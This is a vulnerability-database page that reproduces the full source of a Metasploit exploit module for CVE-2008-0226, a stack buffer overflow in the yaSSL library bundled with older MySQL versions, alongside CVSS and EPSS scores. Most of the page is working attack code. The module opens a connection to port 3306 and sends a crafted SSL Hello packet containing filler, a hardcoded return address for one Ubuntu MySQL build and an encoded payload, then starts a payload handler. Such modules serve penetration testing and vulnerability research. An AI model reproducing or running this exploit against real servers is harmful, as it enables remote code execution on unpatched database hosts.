Lucene search

K
metasploitMC <[email protected]>MSF:EXPLOIT-LINUX-MYSQL-MYSQL_YASSL_HELLO-
HistoryJan 27, 2010 - 11:24 p.m.

MySQL yaSSL SSL Hello Message Buffer Overflow

2010-01-2723:24:44
www.rapid7.com
20

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

EPSS

0.974

Percentile

99.9%

This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier) implementation bundled with MySQL <= 6.0. By sending a specially crafted Hello packet, an attacker may be able to execute arbitrary code.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
        implementation bundled with MySQL <= 6.0. By sending a specially crafted
        Hello packet, an attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-0226' ],
          [ 'OSVDB', '41195' ],
          [ 'BID', '27140' ],

        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 100,
          'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
        },
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2008-01-04'))

    register_options(
      [
        Opt::RPORT(3306)
      ])
  end

  def exploit
    connect

    sock.get_once

    req_uno =  [0x01000020].pack('V')

    req_dos =  [0x00008daa].pack('V') + [0x40000000].pack('V')
    req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
    req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
    req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
    req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
    req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965)
    req_dos << [target.ret].pack('V') + payload.encoded
    req_dos << rand_text_alphanumeric(1024)

    print_status("Trying target #{target.name}...")

    sock.put(req_uno)
    sock.put(req_dos)

    handler
    disconnect
  end
end

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

EPSS

0.974

Percentile

99.9%